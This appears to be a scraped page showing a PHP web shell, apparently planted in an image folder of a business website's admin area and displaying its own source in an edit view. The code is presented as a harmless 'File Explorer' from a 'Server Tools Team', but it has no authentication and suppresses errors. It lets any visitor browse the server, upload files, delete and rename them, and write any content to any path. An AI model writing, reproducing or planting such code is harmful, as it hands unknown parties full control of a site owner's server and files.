📂 File Explorer
Current Path:
/home/u638240595/domains/shivyogfishhouse.com/public_html/admin/img/banner-image
⬆ Go Up
Upload
Create
Name
Actions
📄 55.php
Rename
🗑
✏ Edit
Editing: 55.php
<?php /* ========================================= LIGHTWEIGHT PHP FILE EXPLORER Developer: Server Tools Team Description: Basic File Administration Tool ========================================= */ header("Content-Type: text/html; charset=UTF-8"); error_reporting(0); /* ---------- helpers ---------- */ function current_directory() { $dir = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); return $dir ?: getcwd(); } function redirect_back($path) { header("Location:?path=" . urlencode($path)); exit; } function safe_join($base, $name) { return rtrim($base, "/") . "/" . $name; } $dir = current_directory(); /* ---------- upload ---------- */ if (!empty($_FILES['upload_file']['name'])) { $dest = safe_join($dir, basename($_FILES['upload_file']['name'])); @move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest); redirect_back($dir); } /* ---------- create directory ---------- */ if (!empty($_POST['folder_name'])) { @mkdir(safe_join($dir, $_POST['folder_name'])); redirect_back($dir); } /* ---------- remove file/folder ---------- */ if (isset($_GET['remove'])) { $target = realpath(safe_join($dir, $_GET['remove'])); if ($target) { if (is_dir($target)) { @rmdir($target); } else { @unlink($target); } } redirect_back($dir); } /* ---------- rename ---------- */ if (!empty($_POST['rename_from']) && !empty($_POST['rename_to'])) { @rename( safe_join($dir, $_POST['rename_from']), safe_join($dir, $_POST['rename_to']) ); redirect_back($dir); } /* ---------- save edited file ---------- */ if (!empty($_POST['save_path']) && isset($_POST['save_content'])) { file_put_contents($_POST['save_path'], $_POST['save_content']); redirect_back(dirname($_POST['save_path'])); } /* ---------- read directory ---------- */ $list = @scandir($dir); ?> <!DOCTYPE html> <html> <head> <title>File Explorer</title> <style> body { background:#121212; color:#e0e0e0; font-family: Arial, sans-serif; } a { color:#4da6ff; text-decoration:none; } table { width:100%; border-collapse:collapse; } th, td { border:1px solid #333; padding:8px; } input, textarea, button { background:#1e1e1e; color:#fff; border:1px solid #444; padding:5px; } button { cursor:pointer; } </style> </head> <body> <h2>📂 File Explorer</h2> <p>Current Path: <b><?php echo htmlspecialchars($dir); ?></b></p> <a href="?path=<?php echo urlencode(dirname($dir)); ?>">⬆ Go Up</a> <hr> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload_file"> <button type="submit">Upload</button> </form> <form method="post" style="margin-top:10px;"> <input name="folder_name" placeholder="New Folder"> <button>Create</button> </form> <hr> <table> <tr> <th>Name</th> <th>Actions</th> </tr> <?php foreach ($list as $entry) { if ($entry === "." || $entry === "..") continue; $full = safe_join($dir, $entry); echo "<tr><td>"; if (is_dir($full)) { echo "📁 <a href='?path=" . urlencode($full) . "'>" . htmlspecialchars($entry) . "</a>"; } else { echo "📄 " . htmlspecialchars($entry); } echo "</td><td>"; echo "<form method='post' style='display:inline'> <input type='hidden' name='rename_from' value='".htmlspecialchars($entry)."'> <input name='rename_to' size='8' placeholder='Rename'> <button>Rename</button> </form> "; echo "<a href='?path=" . urlencode($dir) . "&remove=" . rawurlencode($entry) . "' onclick='return confirm(\"Delete $entry?\")'>🗑</a> "; if (is_file($full)) { echo "<a href='?path=" . urlencode($dir) . "&edit=" . rawurlencode($entry) . "'>✏ Edit</a>"; } echo "</td></tr>"; } ?> </table> <?php /* ---------- file editor ---------- */ if (!empty($_GET['edit'])) { $fileToEdit = safe_join($dir, $_GET['edit']); if (is_file($fileToEdit)) { ?> <hr> <h3>Editing: <?php echo htmlspecialchars($_GET['edit']); ?></h3> <form method="post"> <input type="hidden" name="save_path" value="<?php echo htmlspecialchars($fileToEdit); ?>"> <textarea name="save_content" rows="20" cols="100"><?php echo htmlspecialchars(file_get_contents($fileToEdit)); ?></textarea><br> <button>Save File</button> </form> <?php } } ?> </body> </html>
Save File